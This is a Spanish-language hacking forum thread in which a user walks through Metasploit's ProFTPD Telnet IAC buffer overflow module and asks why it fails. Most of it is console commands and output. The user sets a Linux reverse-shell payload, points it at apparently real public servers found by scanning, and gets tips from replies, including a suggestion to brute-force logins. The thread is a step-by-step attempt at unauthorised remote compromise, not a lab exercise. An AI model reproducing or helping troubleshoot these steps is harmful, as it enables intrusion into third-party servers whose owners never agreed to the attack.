Muy buenas....
Os traigo una nueva bomba de nuestro querido metasploit.
Es un exploit que te da una shell remota en los servidores que tengan el puerto 21 abierto con la el PROFTP de servicio hasta su versión 1.3.3a... Es decir la mayoría...

No he conseguido hacerlo correr del todo por lo que pido que alguien me diga que me falla:

cargamos el exploit:
use exploit/linux/ftp/proftp_telnet_iac
Vemos de que trata:
msf exploit(proftp_telnet_iac) > info

Name: ProFTPD 1.3.2rc3 - 1.3.3b Telnet IAC Buffer Overflow (Linux)
Version: 10922
Platform: Linux
Privileged: Yes
License: Metasploit Framework License (BSD)
Rank: Great

Provided by:
jduck <[email protected]>

Available targets:
Id Name
-- ----
0 Automatic Targeting
1 Debug
2 ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
3 ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)

Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST yes The target address
RPORT 21 yes The target port

Payload information:
Space: 4096
Avoid: 4 characters

Description:
This module exploits a stack-based buffer overflow in versions of
ProFTPD server between versions 1.3.2rc3 and 1.3.3b. By sending data
containing a large number of Telnet IAC commands, an attacker can
corrupt memory and execute arbitrary code. This version of the
exploit uses a little ROP stub to indirectly transfer the flow of
execution to a pool buffer (the cmd_rec "res" in "pr_cmd_read").
NOTE: Most Linux distributions either do not ship a vulnerable
version of ProFTPD, or they ship a version compiled with stack
smashing protection. As of this writing, SSP is believed to
successfully mitigate this vulnerability.

References:
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
[Enlace externo eliminado para invitados]
Cargamos el PAYLOAD:
msf exploit(proftp_telnet_iac) > set PAYLOAD
set PAYLOAD generic/debug_trap
set PAYLOAD generic/shell_bind_tcp
set PAYLOAD generic/shell_reverse_tcp
set PAYLOAD generic/tight_loop
set PAYLOAD linux/x86/adduser
set PAYLOAD linux/x86/chmod
set PAYLOAD linux/x86/exec
set PAYLOAD linux/x86/meterpreter/bind_ipv6_tcp
set PAYLOAD linux/x86/meterpreter/bind_tcp
set PAYLOAD linux/x86/meterpreter/reverse_ipv6_tcp
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set PAYLOAD linux/x86/metsvc_bind_tcp
set PAYLOAD linux/x86/metsvc_reverse_tcp
set PAYLOAD linux/x86/shell/bind_ipv6_tcp
set PAYLOAD linux/x86/shell/bind_tcp
set PAYLOAD linux/x86/shell/reverse_ipv6_tcp
set PAYLOAD linux/x86/shell/reverse_tcp
set PAYLOAD linux/x86/shell_bind_ipv6_tcp
set PAYLOAD linux/x86/shell_bind_tcp
set PAYLOAD linux/x86/shell_reverse_tcp
set PAYLOAD linux/x86/shell_reverse_tcp2
msf exploit(proftp_telnet_iac) > set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
En este caso el shell- reverse_tcp

Rellenamos la IP del objetivo. Si no la sabemos basta con hacer ping a ella (ping loquesea.com):
msf exploit(proftp_telnet_iac) > set RHOST IP_WEB_OBJETIVO
RHOST => IP_WEB_OBJETIVO
Rellenamos el host que queremos atacar (su IP) y el puerto por el que queremos recibir la conexíón:
msf exploit(proftp_telnet_iac) > set LHOST IP_LOCAL
LHOST => IP_LOCAL
msf exploit(proftp_telnet_iac) > set LPORT 9001
LPORT => 9001
Importante que nateemos el puerto seleccionado en LPORT a nuestra IP_LOCAL LHOST
Todo deberá quedar así:
msf exploit(proftp_telnet_iac) > show options

Module options:

Name Current Setting Required Description
---- --------------- -------- -----------
FTPPASS [email protected] no The password for the specified username
FTPUSER anonymous no The username to authenticate as
RHOST IP_WEB_OBJETIVO yes The target address
RPORT 21 yes The target port


Payload options (linux/x86/shell/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.1.131 yes The listen address
LPORT 9001 yes The listen port


Exploit target:

Id Name
-- ----
0 Automatic Targeting
Lanzamos el exploit:
msf exploit(proftp_telnet_iac) > exploit -j
A mi me escupe esto:
[-] Handler failed to bind to IP_WEB_OBJETIVO:4444
[*] Started reverse handler on 0.0.0.0:4444
[*] Connecting to FTP server IP_WEB_OBJETIVO:21...
[*] Connected to target FTP server.
[*] Automatically detecting the target...
[*] No matching target
[*] Exploit completed, but no session was created.
No se por que es como si no encontrase el target (objetivo). Por tanto miro que TARGETS hay:
msf exploit(proftp_telnet_iac) > show targets

Exploit targets:

Id Name
-- ----
0 Automatic Targeting
1 Debug
2 ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
3 ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)
Que fallo hay??? He probado seleccionando de target el 1 (Debug) y me sale esto:
msf exploit(proftp_telnet_iac) > set TARGET 1
TARGET => 1
msf exploit(proftp_telnet_iac) > exploit

[*] Started reverse handler on 192.168.1.131:9001
[*] Connecting to FTP server 85.10.140.119:21...
[*] Connected to target FTP server.
[*] Trying target Debug...
[*] FTP Banner: 220 ProFTPD 1.3.1 Server (ProFTPD) [85.10.140.119]
[*] Your payload should have executed now...
[*] Exploit completed, but no session was created.
He puesto a escuchar al multi/handler por si me llegaba la shell pero nada...

Que hago mal???

Un saludo!!!

PD: Esploit en exploit-db: [Enlace externo eliminado para invitados]
Última edición por rere2 el 08 Nov 2010, 00:12, editado 1 vez en total.
POr cierto la versión a la que estoy intentando sacar la shell remota es a la: 1.3.1

Código: Seleccionar todo

PORT     STATE    SERVICE      VERSION

21/tcp   open     ftp          ProFTPD 1.3.1
Es menor que la 1.3.3 por lo que debería de funcionar no???
VAle ya he leido y no, pone que las versiones que son vulnerables son las que están: between versions 1.3.2rc3 and 1.3.3b
DE todos modos espero que haya alguien al que le valga.
ciaooo

EDITO: He encontrado otro objetivo que si que deberia funcionar pero mirad:
msf exploit(proftp_telnet_iac) > check

[*] Connecting to FTP server IP_OBJETIVO:21...
[*] Connected to target FTP server.
[*] FTP Banner: 220 ProFTPD 1.3.3a Server (ProFTPD) [::ffff:94.23.177.8]
[+] The target is vulnerable.
msf exploit(proftp_telnet_iac) > exploit

[-] Handler failed to bind to MI_IP_PUBLICA:9001
[*] Started reverse handler on 0.0.0.0:9001
[*] Connecting to FTP server IP_OBJETIVO:21...
[*] Connected to target FTP server.
[*] Automatically detecting the target...
[*] FTP Banner: 220 ProFTPD 1.3.3a Server (ProFTPD) [::ffff:94.23.177.8]
[*] Selected Target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
[*] Your payload should have executed now...
[*] Exploit completed, but no session was created.
Pero no me da una shell ni nada.... eso por que es???
Gracias!!!
Podria haber varias solucionss a esto....
1- No estas usando el correcto exploit
2-Alomejor la version del ftp no es soportada por el exploit!
3- que no estes configurando bien tu ataque
Espero usndo encuentres el probelma nos aviss saludos!
Ya conocía este exploit a los pocos dias de salir, todavia no lo he probado, pero lo más probable es que te de error por que alomejor es una versión más actualizada de la sirve este exploit.
Si leeis vereis esto
msf exploit(proftp_telnet_iac) > check

[*] Connecting to FTP server IP_OBJETIVO:21...
[*] Connected to target FTP server.
[*] FTP Banner: 220 ProFTPD 1.3.3a Server (ProFTPD) [::ffff:94.23.177.8]
[+] The target is vulnerable.

Por tanto....
jhu.
1) si uso el correcto ya que es el que implementó metasploit para este caso ya que el objetivo lo he escaneado con nmap para ver el SO y es linux (no bsd que tamién lo hay)

2)te compio lo mismo que a skill:
msf exploit(proftp_telnet_iac) > check

[*] Connecting to FTP server IP_OBJETIVO:21...
[*] Connected to target FTP server.
[*] FTP Banner: 220 ProFTPD 1.3.3a Server (ProFTPD) [::ffff:94.23.177.8]
[+] The target is vulnerable.
3)La configuración es simple... he corrido muchos otros exploits sin problema...

Has usado el exploit y te ha funcionado??
un saludo
juh escribió:rere2 no tengo ningun problema al ejecutarlo pero nose esta extraño que no te deje explotarlo jejej
Y que te devuelve??? una shell???
Es que ya te digo que a mi nada... y compruebo con check si es vulnerable y me dice que si... :S:S

Gracias!
Tu problema esta aca...

ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
La version es correcta, pero el sistema operativo no.

Voy a probarlo y si encuentro algun objetivo rapido les digo que tal.



Morir sin perecer, es presencia eterna...
WoZ
rere2 escribió:que problema hay con que sea debian??
El exploit es para linux y debian es linux.

Corrigeme si me equivoco
Me referia a que si el exploit no te funciono quizas sea porque el SO no fuera Debian.



Morir sin perecer, es presencia eterna...
WoZ
WoZ tiene razon muchas veces al obtener los datos como s.o. marca otros que no son y ademas no es lo mismo debian que linux obvio esta basado en linux pero son otros directorios librerias y dependencias si cambia el asunto amigo prueba usar un bruteforce jejej mcuhas veces no hay mas opciones saludos!
juh escribió:prueba usar un bruteforce jejej mcuhas veces no hay mas opciones saludos!
Bruteforce es obsoleto en este caso.

Para empezar la cuenta root no va a tener acceso FTP.
Segundo la mayoria de los servicios tienen proteccion contra ese tipo de ataques.



Morir sin perecer, es presencia eterna...
WoZ
Responder

Volver a “Exploits”